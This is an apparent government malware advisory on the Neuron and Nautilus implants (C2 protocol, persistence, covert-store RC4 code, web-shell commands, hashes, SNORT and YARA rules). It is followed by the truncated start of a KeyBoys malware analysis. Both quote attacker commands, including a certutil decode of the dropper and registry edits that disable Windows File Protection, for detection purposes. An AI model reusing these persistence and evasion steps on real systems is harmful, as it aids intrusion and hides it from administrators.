+Microsoft Exchange
+Service
+Host service for the Microsoft Exchange
+Server management provider. If this service
+is stopped or disabled, Microsoft Exchange
+cannot be managed.
+W3WPDIAG
+Microsoft IIS
+Diagnostics Service
+Host service for the Microsoft IIS management
+provider. If this service is stopped or
+disabled, Microsoft IIS cannot be managed.
+Updater
+Updater
+Host service for software update. If this
+service is stopped or disabled, software
+cannot be update.
+Network Communications
+Communications between the client and service are via HTTP requests. The service
+will establish a HTTP listener, commonly on port 443 (https), however instances have
+been analysed where port 80 (http) is used instead. The listener waits for requests on
+the host matching specific URIs defined by the configuration. The following have been
+defined in the configuration in Neuron samples analysed by the NCSC:
+https://*:443/ews/exchange/
+https://*:443/W3SVC/
+https://*:80/W3SVC/
+Neuron clients send requests to the defined endpoint in order to communicate with the
+service. In order to make the traffic from clients look legitimate, the actor has chosen
+to name their endpoints with common Microsoft Windows terms.
+Communications are encrypted using RC4 as an additional layer of security. The RC4
+key is sent to the connecting client using a pre-configured RSA key.
+Parameters for a request are sent in the POST body, with the following values
+possible:
+cadataKey
+cadata
+cadataSig
+TLP WHITE
+Page 8 of 27
+TLP WHITE
+The values for these parameters are base64 encoded and RC4 encrypted using the
+key exchanged between the client and service. Each parameter performs a different
+task within the service; for example, 
+ requests the current RC4 key and 
+cadata
+sends an instruction to be run.
+An example HTTP communication is shown below:
+POST https://<domain>/ews/exchange/exchange.asmx HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+Host: <domain>
+Content-Length: <variable>
+Expect: 100-continue
+Connection: Keep-Alive
+cadata=<url_encoded_b64>
+The following SNORT rules can be used to alert on this traffic. Network collection will
+need to be in place between the client and server; in most instances, this is between
+two machines within the same LAN:
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg:
+"Web/request\:POST - Neuron A"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre:
+"/\ncadata=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: 1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg:
+"Web/request\:POST - Neuron B"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre:
+"/\ncadataKey=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority:
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg:
+"Web/request\:POST - Neuron C"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre:
+"/\ncid=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority: 1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: established,from_client; msg:
+"Web/request\:POST - Neuron D"; content: "cadata="; fast_pattern; content: "ContentType|3a| application/x-www-form-urlencoded"; content: "Expect|3a| 100-continue"; pcre:
+"/\ncadataSig=[a-zA-Z0-9%]{1,5000}/"; content: "POST"; http_method; rev: 1; priority:
+In addition to HTTP communications, some observed Neuron service samples have
+functionality that enables the clients to communicate with it via pipes, for example:
+pipe://*/Winsock2/w3svc
+TLP WHITE
+Page 9 of 27
+TLP WHITE
+Capabilities
+The main functionality of the Neuron service is to return and synchronise StorageFile
+and StorageScript objects between the client and service.
+A StorageFile object contains information about a file including its name, modified date
+and the file contents; a StorageScript object contains 
+instructions
+. There are multiple
+instruction types, including the following:
+Executing a command using cmd.exe
+Creating new StorageFiles
+Downloading specified or all StorageFiles
+Neuron Client
+The Neuron client component is typically installed on endpoint machines within a
+victim network. Command & Control (C2) is conducted by the Neuron service. The
+client is designed to collect, package and send documents to the service component
+for onward exfiltration.
+Associated Files
+Name
+neuron-client.exe
+Description
+Neuron Client
+4ed42233962a89deaa89fd7b989db081
+SHA1
+cf731ee0af5c19231ff51af589f7434c0367d508
+SHA256
+a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873
+Size
+55808
+Name
+Sign.exe
+Description
+Dropper for the Neuron client
+3cd5fa46507657f723719b7809d2d1f9
+SHA1
+34ddc14b9a04eba98c3aa1cb27033e12ec847e03
+SHA256
+a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9
+Size
+115712
+Name
+mydoc.doc
+Description
+Macro document that drops and runs Sign.exe (client dropper)
+66f4f1384105ce7ee1636d34f2afb1c9
+SHA1
+3f23d152cc7badf728dfd60f6baa5c861a500630
+SHA256
+42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b
+Size
+591360
+TLP WHITE
+Page 10 of 27
+TLP WHITE
+Name
+Description
+Macro document that drops and runs Sign.exe (client dropper)
+0e430b6b203099f9c305681e1dcff375
+SHA1
+845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1
+SHA256
+bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8
+Size
+590336
+Infection Vector and Install
+The Neuron client infection vector appears to be via spear-phishing victims with
+documents containing macros. When a document is opened, and macros are enabled,
+a base64 encoded blob is constructed and written to the %temp% directory as
+Signature.crt
+; this is then decoded using the legitimate Microsoft binary 
+certutil.exe
+for example:
+certutil.exe -decode %TEMP%\Signature.crt %TEMP%\Sign.exe
+The resulting executable is the Neuron client dropper, which is responsible for setting
+up any initial configuration, establishing persistence and dropping the main payload to
+disk.
+The main payloads are embedded in the dropper executable and are GZIP
+compressed and RC4 encrypted with a hardcoded key. The dropper is also
+responsible for deploying any legitimate DLLs that may also be required 
+ these are
+stored in the same way.
+All files are placed into the directory from which the dropper was executed.
+Persistence
+The Neuron client executable contains no functionality to establish persistence.
+Instead, the dropper handles this for the client by creating a scheduled task, enabling
+it to persist after a reboot.
+The task is scheduled to run every 12 minutes (PT12M), with a task ID of 
+Microsoft
+Corporation
+ and a task description constructed from a string retrieved from a
+randomly selected registry value. To build the task description, a list of value names
+of length 9 or greater but not containing "\" are retrieved from
+HKLM\\Software\\Microsoft registry. One of these values is selected and prefixed to
+the string " updater". This is then used as the description for the scheduled task.
+TLP WHITE
+Page 11 of 27
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+Configuration
+The Neuron client configuration is stored in the registry as JSON; it must be set up by
+the dropper before the client is run as no defaults are specified.
+The configuration includes the domains where Neuron service implants have been
+deployed, so that the client can communicate with them. The configuration also
+specifies a beacon interval for each domain, along with a keep alive interval and time
+wait interval.
+An example of the server configuration in JSON representation, taken from a Neuron
+client dropper, is as follows:
+Connect
+https://<removed>/ews/exchange/exchange.asmx
+Interval
+: 17
+https://<removed>//ews/exchange/exchange.asmx
+Interval
+: 32
+KeepAliveInterval
+: 7,
+CmdTimeWait
+Network Communications
+Communications are detailed in the Neuron service section. The Neuron client and
+service primarily communicate via HTTP requests.
+As an extra layer of security, the client RC4 encrypts any data being sent. The key
+used is the Machine GUID retrieved from the registry
+(SOFTWARE\Microsoft\Cryptography\MachineGuid); if this is not set then the default
+key 
+8d963325-01b8-4671-8e82-d0904275ab06
+ is used.
+TLP WHITE
+Page 12 of 27
+TLP WHITE
+Capability
+Once loaded the Neuron Client will loop indefinitely, performing a sync of storage files
+with the Neuron service. The interval between synchronisations is specified in the
+configuration by the 
+CmdTimeWait
+ value.
+In order to synchronise with the service, the client will retrieve all local StorageFile
+objects and all StorageFiles on the service (without file data) and compare these for
+differences. The client retrieves the StorageFiles from the service by sending a POST
+request with the following data within the parameter 
+cadata
+: 0,
+data
+This is encrypted with RC4 and then base64 encoded before being sent.
+The service will respond with a list of all StorageFile metadata (i.e. name and date of
+each StorageFile). This is then used to determine which StorageFiles the client is
+missing, as well as any files which the service is missing.
+The client will send any required files (including file data) to the service by sending the
+following command data:
+: 1,
+data
+<list_of_storage_files>
+Where a storage file object has a JSON representation as follows:
+name
+: name,
+data
+: data,
+date
+: date
+Finally, the client will download all missing StorageFiles from the service by sending
+the following command data:
+: 2,
+data
+: <array_of_request_storage_files>
+TLP WHITE
+Page 13 of 27
+TLP WHITE
+Where the sent data contains the required StorageFile names, as follows:
+name
+storage.file.1
+name
+storage.file.2
+These new files are then written to disk, and added to the clients list of StorageFiles.
+TLP WHITE
+Page 14 of 27
+TLP WHITE
+Nautilus
+Nautilus is very similar to Neuron both in the targeting of mail servers and how client
+communications are performed. This malware is referred to as Nautilus due to its
+embedded internal DLL name 
+nautilus-service.dll
+, again sharing some resemblance
+to Neuron.
+The main payload and configuration of Nautilus is encrypted within a covert store on
+disk which is located in 
+\ProgramData\Microsoft\Windows\Caches\
+. The loader DLL
+will access this covert store to decrypt the payload (oxygen.dll), which is then loaded
+into a target process via reflective loading.
+The Nautilus service listens for HTTP requests from clients to process tasking
+requests such as executing commands, deleting files and writing files to disk.
+Associated Files
+Name
+dcomnetsrv.dll
+Description
+Nautilus Loader DLL
+2f742ec3bb7590602bc3e97326f2476a
+SHA1
+9d280e3ef1b180449086dda5b92a7b9bbe63dee4
+SHA256
+a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3
+Size
+121344
+Name
+oxygen.dll
+Description
+Nautilus Injected payload
+ea874ac436223b30743fc9979eed5f2f
+SHA1
+5ed61ec7de11922582f07c3488ef943b439ee226
+SHA256
+cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8
+Size
+620568
+Persistence
+Nautilus achieves persistence by running as a service, dcomnetsrv, which is set to
+automatically start. It is very likely that this is established by the Nautilus dropper,
+similar to the Neuron service dropper; however, the NCSC has not yet analysed a
+sample of this file.
+Configuration
+The configuration for Nautilus is stored encrypted within a covert store that was located
+\ProgramData\Microsoft\Windows\Caches\
+TLP WHITE
+Page 15 of 27
+TLP WHITE
+The server configuration block, which defines the port and URL for Nautilus to listen
+on, is passed in the identifier 
+config_listen.system
+. A sample configuration is shown
+below:
+proto=https
+host=+
+port=443
+param=OWA-AUTODISCOVER-EWS
+Nautilus also stores several other pieces of contextual information within the covert
+store under the identifier 
+ctx.system
+, including an RSA public key:
+-----BEGIN PUBLIC KEY----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg4r6SSnj2PnYbe6C4H8c
+M7162eRS+RTE8BYW8cTGdFPSiDiVOblImyddBLu/fW7MSc+BUsmg2l9SVyvJrHJk
+0xnr7PRH9Dq7IcTYzQPMSsG1nC2Lej09EtilKwAQP08MIpiredzgXwom3rlH0Trc
+HiKxjLhQcuK0Mllsq+54gYPaoi6LkZG/lUxhWuGI1M2i3/dHp40vbwaaL5Sotxuv
+jSytDsU75U5T+rCAHVMykiLi/x7PKg40JQoYGMSOPUJsx87i/uy3uHoecl2ns038
+b70Gh6KJ4x5mwaKjMRsSm8PUN6ccHSyqetpXuTXoKU5dEDIQLNAwXTZY40d/aTEx
+uQIDAQAB
+-----END PUBLIC KEY-----
+The covert store uses a proprietary format to store data. This format stores separate
+streams (i.e. one for the config and one for the context) with each split into chunks of
+4096 bytes and encrypted using RC4. The offset to the next chunk is calculated by
+taking the decrypted int value at offset 0xFF8 of the decrypted chunk, shifting this left
+by 0xC and then adding 0x10000. For the first chunk, this initial int value is at offset
+0xB4 of the header.
+A default RC4 key is used to decrypt the first chunk; this key is hardcoded into Nautilus
+1B1440D90FC9BCB46A9AC96438FEEA8B
+ but is passed into a function that
+trims the length to 31 bytes, resulting in the final 32 byte initial RC4 key being
+1B1440D90FC9BCB46A9AC96438FEEA8\x00
+The RC4 implementation used for encryption of the covert store has been modified
+from a standard implementation. This may be an attempt to frustrate decryption;
+however, it is easily spotted when reverse engineering the sample.
+TLP WHITE
+Page 16 of 27
+TLP WHITE
+The following Python implementation duplicates the modified RC4 XOR loop:
+def rc4(data, key):
+x = 0
+box = range(256)
+for i in range(256):
+x=(x + box[i] + ord(key[i%len(key)])) % 256
+box[i], box[x] = box[x], box[i]
+out = []
+key = []
+i = box[1]
+j = box[i]
+box[i] = i
+box[1] = j
+for char in data:
+sbb = box[i % 256]
+i += 1
+sbb += j
+kb = box[sbb % 256]
+out.append(chr(ord(char) ^ kb))
+return ''.join(out)
+A covert store can be identified by RC4 decrypting the 4 bytes at offset 0xFFFC with the
+default RC4 key followed by comparison with the magic bytes 0x3a29bd32.
+Communications
+Communication with clients is performed in a similar fashion to Neuron. Nautilus
+listens for incoming connections from clients on port 443 that are addressed to the
+URL 
+/OWA-AUTODISCOVER-EWS
+; this URL path could be modified. Nautilus is
+commonly installed on a victim mail server, enabling the pre-installed TLS
+configuration to be used.
+Data sent to the service is encoded in the referrer header, which is masquerading as
+a legitimate Bing search. The format string used to create this is as follows:
+Referer: http://www.bing.com/search?q=%s&go=Submit&qs=n&pq=%s&sc=0-11&sp=1&sk=&cvid=%s&first=21&FORM=%s
+TLP WHITE
+Page 17 of 27
+TLP WHITE
+Capability
+The malware can take commands from connecting clients to perform on the infected
+host. The commands take the format "O_001", "O_002" and so on. A subset of these
+commands allow Nautilus to be tasked with the following:
+O_001: Execute a cmd.exe command
+O_002: Read file
+O_003: Write file
+O_007: Delete file
+O_008: GetTempPathA
+O_009: Sleep
+O_010: Create directory
+O_011: Check if directory
+O_012 Duplicate of O_011
+There also appear to be some separately processed commands containing the
+following functionality:
+O_100 Shutdown (implant)
+O_101 Uninstall
+TLP WHITE
+Page 18 of 27
+TLP WHITE
+ErrorFE.aspx
+Alongside the Neuron and Nautilus toolkits, the NCSC identified a file named
+errorFE.aspx
+. This file was installed on a number of victims following the successful
+exploitation of web application software, and provides additional persistence to enable
+the deployment of further tools.
+The script defines its working directory as the value of the Windows environment
+variable 
+temp
+, using this location to drop and execute files and collect data.
+This script accepts web requests and extracts the cookie parameter; valid data in the
+cookie is base64 encoded and AES encrypted using hardcoded values.
+The script supports the processing of multiple cookies from a single request, indicating
+it is possible to issue multiple commands in a single request. When the cookie value
+is decoded and decrypted, the script expects one of the following commands followed
+by any additional parameters:
+Command
+update
+time
+Function
+Accepts a file name and writes the contents
+data
+ request parameter to a file in
+the working directory
+Overwrites the shell itself with the
+content of the 
+data
+ request parameter
+Updates the timestamp on a specific file
+with a specified timestamp (creation, last
+write and access).
+Executes a provided command using 
+cmd.exe
+Deletes a specified file
+Gets a specified filename from the working
+directory and returns its contents to the
+requestor
+TLP WHITE
+Page 19 of 27
+TLP WHITE
+Appendix A
+Neuron Client
+File Name
+Description
+File Size
+(bytes)
+SHA1
+SHA256
+neuron-client.exe
+Neuron Client
+55808
+File Name
+Description
+File Size
+(bytes)
+SHA1
+SHA256
+Sign.exe
+Dropper for the Neuron Client
+115712
+File Name
+Description
+File Size
+(bytes)
+SHA1
+SHA256
+mydoc.doc
+Macro document that drops and runs Sign.exe (client dropper)
+591360
+File Name
+Description
+File Size
+(bytes)
+SHA1
+SHA256
+Macro document that drops and runs Sign.exe (client dropper)
+590336
+4ed42233962a89deaa89fd7b989db081
+cf731ee0af5c19231ff51af589f7434c0367d508
+a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873
+3cd5fa46507657f723719b7809d2d1f9
+34ddc14b9a04eba98c3aa1cb27033e12ec847e03
+a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9
+66f4f1384105ce7ee1636d34f2afb1c9
+3f23d152cc7badf728dfd60f6baa5c861a500630
+42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b
+0e430b6b203099f9c305681e1dcff375
+845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1
+bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8
+TLP WHITE
+Page 20 of 27
+TLP WHITE
+Neuron Service
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+Microsoft.Exchange.Service.exe
+Neuron Service
+43008
+0f12268221e27406351a6313f902b498
+b0dbdc81a0e367330007b7e593d8dabf92ca7afd
+d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+w3wpdiag.exe
+Neuron Service
+59392
+371b4380080e3d94ffcae1a7e9a0d5e2
+f7088075d1c798f27b0d269c97dc877ff16f1401
+2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+Updater.exe
+Neuron Service
+44544
+8229622a9790d75e09a099e8758d5703
+10586913ceeecd408da4e656c29ed4e91c6b758e
+2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+w3wpdiag.exe
+Neuron Service
+58880
+a3bdc385cf68019449027bd6d8cecb4d
+fe8da5a1e62a8d4f627834b0f26c802a330d8d45
+0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+dropper-svc.exe
+Dropper for the Neuron service
+85008
+d6ef3c8f2c3f3ddffbb70f5dadfa982c
+934b288075c122165897276b360c61e77cb7bde0
+fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb
+TLP WHITE
+Page 21 of 27
+TLP WHITE
+Neuron Yara
+rule neuron_common_strings {
+meta:
+description = "Rule for detection of Neuron based on commonly used strings"
+author = "NCSC UK"
+hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+strings:
+$strServiceName = "MSExchangeService" ascii
+$strReqParameter_1 = "cadataKey" wide
+$strReqParameter_2 = "cid" wide
+$strReqParameter_3 = "cadata" wide
+$strReqParameter_4 = "cadataSig" wide
+$strEmbeddedKey =
+"PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm
+clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb
+HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH
+VsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+$strIdentifier = "MSXEWS" wide
+$strListenEndpoint = "443/ews/exchange/" wide
+$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+$strName = "neuron_service" ascii
+$dotnetMagic = "BSJB" ascii
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of
+($str*)
+TLP WHITE
+Page 22 of 27
+TLP WHITE
+rule neuron_standalone_signature {
+meta:
+description = "Rule for detection of Neuron based on a standalone signature from .NET
+metadata"
+author = "NCSC UK"
+hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+strings:
+$a =
+{eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d128121
+1d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211
+d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281}
+$dotnetMagic = "BSJB" ascii
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+TLP WHITE
+Page 23 of 27
+TLP WHITE
+rule neuron_functions_classes_and_vars {
+meta:
+description = "Rule for detection of Neuron based on .NET function, variable and
+class names"
+author = "NCSC UK"
+hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+strings:
+$class1 = "StorageUtils" ascii
+$class2 = "WebServer" ascii
+$class3 = "StorageFile" ascii
+$class4 = "StorageScript" ascii
+$class5 = "ServerConfig" ascii
+$class6 = "CommandScript" ascii
+$class7 = "MSExchangeService" ascii
+$class8 = "W3WPDIAG" ascii
+$func1 = "AddConfigAsString" ascii
+$func2 = "DelConfigAsString" ascii
+$func3 = "GetConfigAsString" ascii
+$func4 = "EncryptScript" ascii
+$func5 = "ExecCMD" ascii
+$func6 = "KillOldThread" ascii
+$func7 = "FindSPath" ascii
+$var1 = "CommandTimeWait" ascii
+$dotnetMagic = "BSJB" ascii
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of
+them
+TLP WHITE
+Page 24 of 27
+TLP WHITE
+Nautilus
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+dcomnetsrv.dll
+Nautilus Loader DLL
+121344
+2f742ec3bb7590602bc3e97326f2476a
+9d280e3ef1b180449086dda5b92a7b9bbe63dee4
+a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3
+File Name
+Description
+File Size (bytes)
+SHA1
+SHA256
+oxygen.dll
+Nautilus Injected payload
+620568
+ea874ac436223b30743fc9979eed5f2f
+5ed61ec7de11922582f07c3488ef943b439ee226
+cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8
+Nautilus Yara
+rule nautilus_modified_rc4_loop {
+meta:
+description = "Rule for detection of Nautilus based on assembly code for a modified
+RC4 loop"
+author = "NCSC UK"
+hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+strings:
+$a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2
+49 FF C9}
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $a
+TLP WHITE
+Page 25 of 27
+TLP WHITE
+rule nautilus_rc4_key {
+meta:
+description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
+author = "NCSC UK"
+hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+strings:
+$key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38
+46 45 45 41 38 42}
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $key
+rule nautilus_common_strings {
+meta:
+description = "Rule for detection of Nautilus based on common plaintext strings"
+author = "NCSC UK"
+hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+strings:
+$ = "nautilus-service.dll" ascii
+$ = "oxygen.dll" ascii
+$ = "config_listen.system" ascii
+$ = "ctx.system" ascii
+$ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+$ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db"
+ascii
+condition:
+(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 3 of them
+TLP WHITE
+Page 26 of 27
+TLP WHITE
+Additional Indicators for Forensic Analysis
+The following indicators can be used to search for the presence of Neuron and
+Nautilus malware within forensic analysis tools.
+$zf(-1,
+$zf(-2,
+{"instructions":[{"type":
+App_Web_juvjerf3.dll
+App_Web_vcplrg8q.dll
+ar_all2.txt
+ar_sa.txt
+Convert.FromBase64String(temp[1])
+D68gq#5p0(3Ndsk!
+dx11.exe
+ERRORF~1.ASP
+errorFE.aspx
+errorfe.aspx.f5dba9b9.compiled
+intelliAdminRpc
+J8fs4F4rnP7nFl#f
+lsa.exe
+Msnb.exe
+msrpc.exe
+Neuron_service
+owa.exe
+owa_ar2.bat
+rexec.exe
+payload.x64.dll.system
+service.x64.dll.system
+TLP WHITE
+Page 27 of 27
+The KeyBoys are back in town
+www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-backin-town.html
+Analysis
+Our analysis starts with a Microsoft Word document named 2017 Q4 Work Plan.docx
+(with a hash of 292843976600e8ad2130224d70356bfc), which was created on 2017-1011 by a user called 
+Admin
+, and first uploaded to VirusTotal, a website and file scanning
+service, on the same day, by a user in South Africa.
+Curiously, the Word document does not contain any macros, or even an exploit. Rather,
+it uses a technique recently reported on by SensePost, which allows an attacker to craft
+a specifically created Microsoft Word document, which uses the Dynamic Data Exchange
+(DDE) protocol. DDE traditionally allows for the sending of messages between
+applications that share data, for example from Word to Excel or vice versa. In the case
+reported on by SensePost, this allowed for the fetching or downloading of remote
+payloads, using PowerShell for example.
+Figure 1 
+ Word Error
+Once we extract the initial document, using 7-zip for example, we can observe the usual
+structure, and inside, a file called document.xml is of interest. In this XML, a remote
+payload, in this case a DLL, will be downloaded using PowerShell, moved to the user
+temporary folder, and run using rundll32.exe, starting in the HOK function or export.
+Figure 2 shows the relevant part in our XML file.
+Figure 2 - Download and payload execution
+This debug.dll is a PE32 binary file with the following properties:
+md5 hash: 64b2ac701a0d67da134e13b2efc46900
+sha1 hash: 1bb516d70591a5a0eb55ee71f9f38597f3640b14
+sha256 hash:
+f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92
+size: 531,456 bytes
+internal DLL name: InstallClient.dll
+compiler: Microsoft
+linker: Microsoft Linker(14.0)[DLL32]
+compilation time: 2017-07-06 08:50:10
+This DLL serves as a dropper for the actual payload, and as such the internal name of
+InstallClient
+ is an apt choice by the threat actor. Developing a Yara rule for the simple
+dropper DLL, yielded several new binaries:
+1dbbdd99cb8d7089ab31efb5dcf09706
+5708e0320879de6f9ac928046b1e4f4e
+a6903d93f9d6f328bcfe3e196fd8c78b
+cf6f333f99ee6342d6735ac2f6a37c1e
+ac9b8c82651eafff9a3bbe7c69d69447
+d6ddecdb823de235dd650c0f7a2f3d8f
+We have analysed d6ddecdb823de235dd650c0f7a2f3d8f, which also has InstallClient.dll
+as its internal name, as it seems to be the earliest dropper DLL used in this campaign,
+and does not appear to be very different from any of the other DLLs so far uncovered.
+The DLL starts in the function named Insys, which performs some simple checks, for
+example, if the current user account is an administrator, and will subsequently call the
+function named SSSS, which is the main function.
+A substantial amount of actions will follow according to what
+s defined in the SSSS
+function, as follows:
+Prepare target DLL, in this case rasauto.dll, for replacement in
+C:\Windows\System32;
+Stop the service belonging to the target DLL, and use the takeown and icacls
+commands to gain full permissions for the system service DLL;
+Disable Windows File Protection, which normally prevents software or users from
+replacing critical Windows files;
+Suppress any error messages from Windows from popping up on boot;
+Copy the target DLL, rasauto.dll, to a new file named rasauto32.dll;
+Replace the target DLL with the malware
+s DLL, which is time-stomped in order to
+evade detection;
+Start the now malicious service using net.exe and net1.exe; and,
+Create configuration and keylogs in C:\Windows\system32, using an uncommon
+extension, in this case .tsp, and additionally create a folder in C:\Programdata for
+the purpose of screen captures.
+The malware will also, in some observed cases, output debug or error messages in a
+newly created file in the user
+s Application Data folder as DebugLog.TXT, for example:
+\AppData\Roaming\Microsoft\Windows\Cookies\DebugLog.TXT
+Then, the original dropper DLL will then be deleted, using a simple batch file that runs in
+a loop. In Figures 3 to 5, the target DLL, the original and new DLL, as well as the full
+process flow are shown.
+Figure 3 - Target DLL, config and keylog file built dynamically on the stack
+Figure 4 - Real and fake rasauto.dll (rasauto32.dll is the real or original DLL)
+Figure 5 - Complete process flow
+While visually there is apparently no difference, due to the malware being time-stomped
+(altering the created and modified dates of a file or folder), we can however observe a
+few subtle differences in the real and malicious binary.
+Figure 6 - Subtle differences
+As can be seen in Figure 6, the fake DLL has a different link date, some minor spelling
+mistakes, and does not include the build in the file version details. As the malware also
+disables Windows File Protection and thus any pop-ups, it may not be immediately
+obvious to system administrators that a legitimate DLL was actually replaced. The
+following commands are issued in order to achieve persistence:
+reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
+SFCDisable /t REG_DWORD /d 4 /f
+reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v
+NoPopUpsOnBoot /t REG_DWORD /d 1 /f
+Taking a look at the Windows registry for our service, RasAuto, short for Remote Access
+Auto Connection Manager and historically used for connecting dial-up modems to the
+internet for example, reveals no specific additional modifications.
+Dllhost.exe is additionally seen to call back or phone home to a hardcoded range of C2
+servers, on ports 53, 80, and 443.
+Figure 7 - Dllhost connecting to a remote address
+Dllhost usually has no need to connect to the internet or WAN, and as such it is a
+possible indicator of malicious activity.
+Attaching a debugger to dllhost.exe, reveals the keylogger files and configuration,
+replaced DLL file, as well as another folder, which is likely used to store screenshots and
+other data. Another ASCII string can be discovered in the DLL
+s config,
+MDDEFGEGETGIZ, which likely pertains to the specific KeyBoy campaign, or target.
+Figure 8 - ASCII dump
+The malware leveraged by KeyBoy has a plethora of functionality, including, but not
+limited to:
+Screen grabbing/taking screenshots;
+Determine public or WAN IP address (using a public IP service), likely for
+determining a suited target;
+Gather extended system information, such as information about the operating
+system, disks, memory and so on;
+file browser
+ or explorer;
+Shutdown and reboot commands (in addition to the point below);
+Launching interactive shells for communicating with the victim machine;
+Download and upload functionality; and
+Usage of custom SSL libraries for masquerading C2 traffic.
+Interestingly enough, the malware developers left several unique debug messages, for
+example:
+GetScreenCmd from file:%s
+Take Screen Error,May no user login!
+Take Screen Error,service dll not exists
+Earlier, we mentioned the threat actor uses custom SSL libraries to communicate to the
+C2. While we have been unable to observe this behavior in any traffic logs, we were able
+to extract a certificate, which can be found in Appendix B. Converting this certificate to
+the DER format, we find strings pointing to jessma.org, and an email address,
+ldcsaa@21cn.com. These belong to projects by a Chinese developer, where one of the
+tools or libraries is named HP-Socket, which is a 
+High Performance TCP/UDP Socket
+Component
+Additionally, said library sported an interesting debug path:
+D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\Release\TClient.pdb
+In addition to writing a Yara rule for the dropper DLL and finding additional samples as
